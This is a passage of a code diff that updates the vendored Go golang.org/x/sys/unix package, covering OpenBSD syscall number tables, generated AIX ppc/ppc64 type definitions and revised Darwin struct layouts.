-- SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, \
-- SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, \
-+ SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, struct rlimit *rlp); }
-+ SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, const struct rlimit *rlp); }
-+ SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
-+ SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, int whence); }
-+ SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, off_t length); }
- SYS_FTRUNCATE = 201 // { int sys_ftruncate(int fd, int pad, off_t length); }
-- SYS___SYSCTL = 202 // { int sys___sysctl(const int *name, u_int namelen, \
-+ SYS_SYSCTL = 202 // { int sys_sysctl(const int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); }
- SYS_MLOCK = 203 // { int sys_mlock(const void *addr, size_t len); }
- SYS_MUNLOCK = 204 // { int sys_munlock(const void *addr, size_t len); }
- SYS_GETPGID = 207 // { pid_t sys_getpgid(pid_t pid); }
-- SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, \
-+ SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, size_t len); }
- SYS_SEMGET = 221 // { int sys_semget(key_t key, int nsems, int semflg); }
- SYS_MSGGET = 225 // { int sys_msgget(key_t key, int msgflg); }
-- SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, \
-- SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, \
-- SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, \
-+ SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, int shmflg); }
- SYS_SHMDT = 230 // { int sys_shmdt(const void *shmaddr); }
-- SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, \
-- SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, \
-+ SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, int inherit); }
-+ SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, u_int nfds, int timeout); }
- SYS_ISSETUGID = 253 // { int sys_issetugid(void); }
- SYS_LCHOWN = 254 // { int sys_lchown(const char *path, uid_t uid, gid_t gid); }
- SYS_GETSID = 255 // { pid_t sys_getsid(pid_t pid); }
- SYS_MSYNC = 256 // { int sys_msync(void *addr, size_t len, int flags); }
- SYS_PIPE = 263 // { int sys_pipe(int *fdp); }
- SYS_FHOPEN = 264 // { int sys_fhopen(const fhandle_t *fhp, int flags); }
-- SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, \
-- SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, \
-+ SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
-+ SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
- SYS_KQUEUE = 269 // { int sys_kqueue(void); }
- SYS_MLOCKALL = 271 // { int sys_mlockall(int flags); }
- SYS_MUNLOCKALL = 272 // { int sys_munlockall(void); }
-- SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, \
-- SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, \
-- SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, \
-- SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, \
-- SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, \
-+ SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
- SYS_CLOSEFROM = 287 // { int sys_closefrom(int fd); }
-- SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, \
-+ SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, struct sigaltstack *oss); }
- SYS_SHMGET = 289 // { int sys_shmget(key_t key, size_t size, int shmflg); }
-- SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, \
-- SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, \
-- SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, \
-- SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, \
-- SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, \
-+ SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, struct stat *sb); }
-+ SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, struct msqid_ds *buf); }
- SYS_SCHED_YIELD = 298 // { int sys_sched_yield(void); }
- SYS_GETTHRID = 299 // { pid_t sys_getthrid(void); }
-- SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, \
-+ SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, int n); }
- SYS___THREXIT = 302 // { void sys___threxit(pid_t *notdead); }
-- SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, \
-+ SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, siginfo_t *info, const struct timespec *timeout); }
- SYS___GETCWD = 304 // { int sys___getcwd(char *buf, size_t len); }
-- SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, \
-+ SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, int64_t *oldfreq); }
- SYS_SETRTABLE = 310 // { int sys_setrtable(int rtableid); }
- SYS_GETRTABLE = 311 // { int sys_getrtable(void); }
-- SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, \
-- SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, \
-- SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, \
-- SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, \
-- SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, \
-- SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, \
-- SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, \
-- SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, \
-- SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, \
-- SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, \
-- SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, \
-- SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, \
-+ SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, const char *path2, int flag); }
-+ SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, mode_t mode); }
-+ SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, ... mode_t mode); }
-+ SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, char *buf, size_t count); }
-+ SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, int tofd, const char *to); }
-+ SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, const char *link); }
-+ SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, int flag); }
- SYS___SET_TCB = 329 // { void sys___set_tcb(void *tcb); }
- SYS___GET_TCB = 330 // { void *sys___get_tcb(void); }
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_solaris_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_solaris_amd64.go
-deleted file mode 100644
-index c7086598..00000000
---- a/vendor/golang.org/x/sys/unix/zsysnum_solaris_amd64.go
-+++ /dev/null
-@@ -1,13 +0,0 @@
--// Copyright 2014 The Go Authors. All rights reserved.
--// Use of this source code is governed by a BSD-style
--// license that can be found in the LICENSE file.
--
--// +build amd64,solaris
--
--package unix
--
--// TODO(aram): remove these before Go 1.3.
--const (
-- SYS_EXECVE = 59
-- SYS_FCNTL = 62
--)
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_aix_ppc.go b/vendor/golang.org/x/sys/unix/ztypes_aix_ppc.go
-new file mode 100644
-index 00000000..2c1f815e
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/ztypes_aix_ppc.go
-@@ -0,0 +1,352 @@
-+// cgo -godefs types_aix.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build ppc,aix
-+
-+package unix
-+
-+const (
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
-+ PathMax = 0x3ff
-+)
-+
-+type (
-+ _C_short int16
-+ _C_int int32
-+ _C_long int32
-+ _C_long_long int64
-+)
-+
-+type off64 int64
-+type off int32
-+type Mode_t uint32
-+
-+type Timespec struct {
-+ Sec int32
-+ Nsec int32
-+}
-+
-+type Timeval struct {
-+ Sec int32
-+ Usec int32
-+}
-+
-+type Timeval32 struct {
-+ Sec int32
-+ Usec int32
-+}
-+
-+type Timex struct{}
-+
-+type Time_t int32
-+
-+type Tms struct{}
-+
-+type Utimbuf struct {
-+ Actime int32
-+ Modtime int32
-+}
-+
-+type Timezone struct {
-+ Minuteswest int32
-+ Dsttime int32
-+}
-+
-+type Rusage struct {
-+ Utime Timeval
-+ Stime Timeval
-+ Maxrss int32
-+ Ixrss int32
-+ Idrss int32
-+ Isrss int32
-+ Minflt int32
-+ Majflt int32
-+ Nswap int32
-+ Inblock int32
-+ Oublock int32
-+ Msgsnd int32
-+ Msgrcv int32
-+ Nsignals int32
-+ Nvcsw int32
-+ Nivcsw int32
-+}
-+
-+type Rlimit struct {
-+ Cur uint64
-+ Max uint64
-+}
-+
-+type Pid_t int32
-+
-+type _Gid_t uint32
-+
-+type dev_t uint32
-+
-+type Stat_t struct {
-+ Dev uint32
-+ Ino uint32
-+ Mode uint32
-+ Nlink int16
-+ Flag uint16
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint32
-+ Size int32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Blksize int32
-+ Blocks int32
-+ Vfstype int32
-+ Vfs uint32
-+ Type uint32
-+ Gen uint32
-+ Reserved [9]uint32
-+}
-+
-+type StatxTimestamp struct{}
-+
-+type Statx_t struct{}
-+
-+type Dirent struct {
-+ Offset uint32
-+ Ino uint32
-+ Reclen uint16
-+ Namlen uint16
-+ Name [256]uint8
-+}
-+
-+type RawSockaddrInet4 struct {
-+ Len uint8
-+ Family uint8
-+ Port uint16
-+ Addr [4]byte /* in_addr */
-+ Zero [8]uint8
-+}
-+
-+type RawSockaddrInet6 struct {
-+ Len uint8
-+ Family uint8
-+ Port uint16
-+ Flowinfo uint32
-+ Addr [16]byte /* in6_addr */
-+ Scope_id uint32
-+}
-+
-+type RawSockaddrUnix struct {
-+ Len uint8
-+ Family uint8
-+ Path [1023]uint8
-+}
-+
-+type RawSockaddrDatalink struct {
-+ Len uint8
-+ Family uint8
-+ Index uint16
-+ Type uint8
-+ Nlen uint8
-+ Alen uint8
-+ Slen uint8
-+ Data [120]uint8
-+}
-+
-+type RawSockaddr struct {
-+ Len uint8
-+ Family uint8
-+ Data [14]uint8
-+}
-+
-+type RawSockaddrAny struct {
-+ Addr RawSockaddr
-+ Pad [1012]uint8
-+}
-+
-+type _Socklen uint32
-+
-+type Cmsghdr struct {
-+ Len uint32
-+ Level int32
-+ Type int32
-+}
-+
-+type ICMPv6Filter struct {
-+ Filt [8]uint32
-+}
-+
-+type Iovec struct {
-+ Base *byte
-+ Len uint32
-+}
-+
-+type IPMreq struct {
-+ Multiaddr [4]byte /* in_addr */
-+ Interface [4]byte /* in_addr */
-+}
-+
-+type IPv6Mreq struct {
-+ Multiaddr [16]byte /* in6_addr */
-+ Interface uint32
-+}
-+
-+type IPv6MTUInfo struct {
-+ Addr RawSockaddrInet6
-+ Mtu uint32
-+}
-+
-+type Linger struct {
-+ Onoff int32
-+ Linger int32
-+}
-+
-+type Msghdr struct {
-+ Name *byte
-+ Namelen uint32
-+ Iov *Iovec
-+ Iovlen int32
-+ Control *byte
-+ Controllen uint32
-+ Flags int32
-+}
-+
-+const (
-+ SizeofSockaddrInet4 = 0x10
-+ SizeofSockaddrInet6 = 0x1c
-+ SizeofSockaddrAny = 0x404
-+ SizeofSockaddrUnix = 0x401
-+ SizeofSockaddrDatalink = 0x80
-+ SizeofLinger = 0x8
-+ SizeofIPMreq = 0x8
-+ SizeofIPv6Mreq = 0x14
-+ SizeofIPv6MTUInfo = 0x20
-+ SizeofMsghdr = 0x1c
-+ SizeofCmsghdr = 0xc
-+ SizeofICMPv6Filter = 0x20
-+)
-+
-+const (
-+ SizeofIfMsghdr = 0x10
-+)
-+
-+type IfMsgHdr struct {
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ Addrlen uint8
-+ _ [1]byte
-+}
-+
-+type FdSet struct {
-+ Bits [2048]int32
-+}
-+
-+type Utsname struct {
-+ Sysname [32]byte
-+ Nodename [32]byte
-+ Release [32]byte
-+ Version [32]byte
-+ Machine [32]byte
-+}
-+
-+type Ustat_t struct{}
-+
-+type Sigset_t struct {
-+ Losigs uint32
-+ Hisigs uint32
-+}
-+
-+const (
-+ AT_FDCWD = -0x2
-+ AT_REMOVEDIR = 0x1
-+ AT_SYMLINK_NOFOLLOW = 0x1
-+)
-+
-+type Termios struct {
-+ Iflag uint32
-+ Oflag uint32
-+ Cflag uint32
-+ Lflag uint32
-+ Cc [16]uint8
-+}
-+
-+type Termio struct {
-+ Iflag uint16
-+ Oflag uint16
-+ Cflag uint16
-+ Lflag uint16
-+ Line uint8
-+ Cc [8]uint8
-+ _ [1]byte
-+}
-+
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
-+type PollFd struct {
-+ Fd int32
-+ Events uint16
-+ Revents uint16
-+}
-+
-+const (
-+ POLLERR = 0x4000
-+ POLLHUP = 0x2000
-+ POLLIN = 0x1
-+ POLLNVAL = 0x8000
-+ POLLOUT = 0x2
-+ POLLPRI = 0x4
-+ POLLRDBAND = 0x20
-+ POLLRDNORM = 0x10
-+ POLLWRBAND = 0x40
-+ POLLWRNORM = 0x2
-+)
-+
-+type Flock_t struct {
-+ Type int16
-+ Whence int16
-+ Sysid uint32
-+ Pid int32
-+ Vfs int32
-+ Start int64
-+ Len int64
-+}
-+
-+type Fsid_t struct {
-+ Val [2]uint32
-+}
-+type Fsid64_t struct {
-+ Val [2]uint64
-+}
-+
-+type Statfs_t struct {
-+ Version int32
-+ Type int32
-+ Bsize uint32
-+ Blocks uint32
-+ Bfree uint32
-+ Bavail uint32
-+ Files uint32
-+ Ffree uint32
-+ Fsid Fsid_t
-+ Vfstype int32
-+ Fsize uint32
-+ Vfsnumber int32
-+ Vfsoff int32
-+ Vfslen int32
-+ Vfsvers int32
-+ Fname [32]uint8
-+ Fpack [32]uint8
-+ Name_max int32
-+}
-+
-+const RNDGETENTCNT = 0x80045200
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_aix_ppc64.go b/vendor/golang.org/x/sys/unix/ztypes_aix_ppc64.go
-new file mode 100644
-index 00000000..b4a069ec
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/ztypes_aix_ppc64.go
-@@ -0,0 +1,356 @@
-+// cgo -godefs types_aix.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build ppc64,aix
-+
-+package unix
-+
-+const (
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
-+ PathMax = 0x3ff
-+)
-+
-+type (
-+ _C_short int16
-+ _C_int int32
-+ _C_long int64
-+ _C_long_long int64
-+)
-+
-+type off64 int64
-+type off int64
-+type Mode_t uint32
-+
-+type Timespec struct {
-+ Sec int64
-+ Nsec int64
-+}
-+
-+type Timeval struct {
-+ Sec int64
-+ Usec int32
-+ _ [4]byte
-+}
-+
-+type Timeval32 struct {
-+ Sec int32
-+ Usec int32
-+}
-+
-+type Timex struct{}
-+
-+type Time_t int64
-+
-+type Tms struct{}
-+
-+type Utimbuf struct {
-+ Actime int64
-+ Modtime int64
-+}
-+
-+type Timezone struct {
-+ Minuteswest int32
-+ Dsttime int32
-+}
-+
-+type Rusage struct {
-+ Utime Timeval
-+ Stime Timeval
-+ Maxrss int64
-+ Ixrss int64
-+ Idrss int64
-+ Isrss int64
-+ Minflt int64
-+ Majflt int64
-+ Nswap int64
-+ Inblock int64
-+ Oublock int64
-+ Msgsnd int64
-+ Msgrcv int64
-+ Nsignals int64
-+ Nvcsw int64
-+ Nivcsw int64
-+}
-+
-+type Rlimit struct {
-+ Cur uint64
-+ Max uint64
-+}
-+
-+type Pid_t int32
-+
-+type _Gid_t uint32
-+
-+type dev_t uint64
-+
-+type Stat_t struct {
-+ Dev uint64
-+ Ino uint64
-+ Mode uint32
-+ Nlink int16
-+ Flag uint16
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint64
-+ Ssize int32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Blksize int64
-+ Blocks int64
-+ Vfstype int32
-+ Vfs uint32
-+ Type uint32
-+ Gen uint32
-+ Reserved [9]uint32
-+ Padto_ll uint32
-+ Size int64
-+}
-+
-+type StatxTimestamp struct{}
-+
-+type Statx_t struct{}
-+
-+type Dirent struct {
-+ Offset uint64
-+ Ino uint64
-+ Reclen uint16
-+ Namlen uint16
-+ Name [256]uint8
-+ _ [4]byte
-+}
-+
-+type RawSockaddrInet4 struct {
-+ Len uint8
-+ Family uint8
-+ Port uint16
-+ Addr [4]byte /* in_addr */
-+ Zero [8]uint8
-+}
-+
-+type RawSockaddrInet6 struct {
-+ Len uint8
-+ Family uint8
-+ Port uint16
-+ Flowinfo uint32
-+ Addr [16]byte /* in6_addr */
-+ Scope_id uint32
-+}
-+
-+type RawSockaddrUnix struct {
-+ Len uint8
-+ Family uint8
-+ Path [1023]uint8
-+}
-+
-+type RawSockaddrDatalink struct {
-+ Len uint8
-+ Family uint8
-+ Index uint16
-+ Type uint8
-+ Nlen uint8
-+ Alen uint8
-+ Slen uint8
-+ Data [120]uint8
-+}
-+
-+type RawSockaddr struct {
-+ Len uint8
-+ Family uint8
-+ Data [14]uint8
-+}
-+
-+type RawSockaddrAny struct {
-+ Addr RawSockaddr
-+ Pad [1012]uint8
-+}
-+
-+type _Socklen uint32
-+
-+type Cmsghdr struct {
-+ Len uint32
-+ Level int32
-+ Type int32
-+}
-+
-+type ICMPv6Filter struct {
-+ Filt [8]uint32
-+}
-+
-+type Iovec struct {
-+ Base *byte
-+ Len uint64
-+}
-+
-+type IPMreq struct {
-+ Multiaddr [4]byte /* in_addr */
-+ Interface [4]byte /* in_addr */
-+}
-+
-+type IPv6Mreq struct {
-+ Multiaddr [16]byte /* in6_addr */
-+ Interface uint32
-+}
-+
-+type IPv6MTUInfo struct {
-+ Addr RawSockaddrInet6
-+ Mtu uint32
-+}
-+
-+type Linger struct {
-+ Onoff int32
-+ Linger int32
-+}
-+
-+type Msghdr struct {
-+ Name *byte
-+ Namelen uint32
-+ Iov *Iovec
-+ Iovlen int32
-+ Control *byte
-+ Controllen uint32
-+ Flags int32
-+}
-+
-+const (
-+ SizeofSockaddrInet4 = 0x10
-+ SizeofSockaddrInet6 = 0x1c
-+ SizeofSockaddrAny = 0x404
-+ SizeofSockaddrUnix = 0x401
-+ SizeofSockaddrDatalink = 0x80
-+ SizeofLinger = 0x8
-+ SizeofIPMreq = 0x8
-+ SizeofIPv6Mreq = 0x14
-+ SizeofIPv6MTUInfo = 0x20
-+ SizeofMsghdr = 0x30
-+ SizeofCmsghdr = 0xc
-+ SizeofICMPv6Filter = 0x20
-+)
-+
-+const (
-+ SizeofIfMsghdr = 0x10
-+)
-+
-+type IfMsgHdr struct {
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ Addrlen uint8
-+ _ [1]byte
-+}
-+
-+type FdSet struct {
-+ Bits [1024]int64
-+}
-+
-+type Utsname struct {
-+ Sysname [32]byte
-+ Nodename [32]byte
-+ Release [32]byte
-+ Version [32]byte
-+ Machine [32]byte
-+}
-+
-+type Ustat_t struct{}
-+
-+type Sigset_t struct {
-+ Set [4]uint64
-+}
-+
-+const (
-+ AT_FDCWD = -0x2
-+ AT_REMOVEDIR = 0x1
-+ AT_SYMLINK_NOFOLLOW = 0x1
-+)
-+
-+type Termios struct {
-+ Iflag uint32
-+ Oflag uint32
-+ Cflag uint32
-+ Lflag uint32
-+ Cc [16]uint8
-+}
-+
-+type Termio struct {
-+ Iflag uint16
-+ Oflag uint16
-+ Cflag uint16
-+ Lflag uint16
-+ Line uint8
-+ Cc [8]uint8
-+ _ [1]byte
-+}
-+
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
-+type PollFd struct {
-+ Fd int32
-+ Events uint16
-+ Revents uint16
-+}
-+
-+const (
-+ POLLERR = 0x4000
-+ POLLHUP = 0x2000
-+ POLLIN = 0x1
-+ POLLNVAL = 0x8000
-+ POLLOUT = 0x2
-+ POLLPRI = 0x4
-+ POLLRDBAND = 0x20
-+ POLLRDNORM = 0x10
-+ POLLWRBAND = 0x40
-+ POLLWRNORM = 0x2
-+)
-+
-+type Flock_t struct {
-+ Type int16
-+ Whence int16
-+ Sysid uint32
-+ Pid int32
-+ Vfs int32
-+ Start int64
-+ Len int64
-+}
-+
-+type Fsid_t struct {
-+ Val [2]uint32
-+}
-+type Fsid64_t struct {
-+ Val [2]uint64
-+}
-+
-+type Statfs_t struct {
-+ Version int32
-+ Type int32
-+ Bsize uint64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid64_t
-+ Vfstype int32
-+ Fsize uint64
-+ Vfsnumber int32
-+ Vfsoff int32
-+ Vfslen int32
-+ Vfsvers int32
-+ Fname [32]uint8
-+ Fpack [32]uint8
-+ Name_max int32
-+ _ [4]byte
-+}
-+
-+const RNDGETENTCNT = 0x80045200
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_darwin_386.go b/vendor/golang.org/x/sys/unix/ztypes_darwin_386.go
-index e61d78a5..9f47b87c 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_darwin_386.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_darwin_386.go
-@@ -6,11 +6,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -59,24 +59,24 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev int32
-- Mode uint16
-- Nlink uint16
-- Ino uint64
-- Uid uint32
-- Gid uint32
-- Rdev int32
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Qspare [2]int64
-+ Dev int32
-+ Mode uint16
-+ Nlink uint16
-+ Ino uint64
-+ Uid uint32
-+ Gid uint32
-+ Rdev int32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Qspare [2]int64
- }
-
- type Statfs_t struct {
-@@ -136,13 +136,13 @@ type Fsid struct {
- }
-
- type Dirent struct {
-- Ino uint64
-- Seekoff uint64
-- Reclen uint16
-- Namlen uint16
-- Type uint8
-- Name [1024]int8
-- Pad_cgo_0 [3]byte
-+ Ino uint64
-+ Seekoff uint64
-+ Reclen uint16
-+ Namlen uint16
-+ Type uint8
-+ Name [1024]int8
-+ _ [3]byte
- }
-
- type RawSockaddrInet4 struct {
-@@ -295,14 +295,14 @@ const (
- )
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data IfData
- }
-
- type IfData struct {
-@@ -338,51 +338,51 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
- }
-
- type IfmaMsghdr2 struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Refcount int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Refcount int32
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Use int32
-- Inits uint32
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ [2]byte
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Use int32
-+ Inits uint32
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -430,11 +430,11 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp Timeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type Termios struct {
-@@ -460,3 +460,40 @@ const (
- AT_SYMLINK_FOLLOW = 0x40
- AT_SYMLINK_NOFOLLOW = 0x20
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_darwin_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_darwin_amd64.go
-index 2619155f..966798a8 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_darwin_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_darwin_amd64.go
-@@ -6,11 +6,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
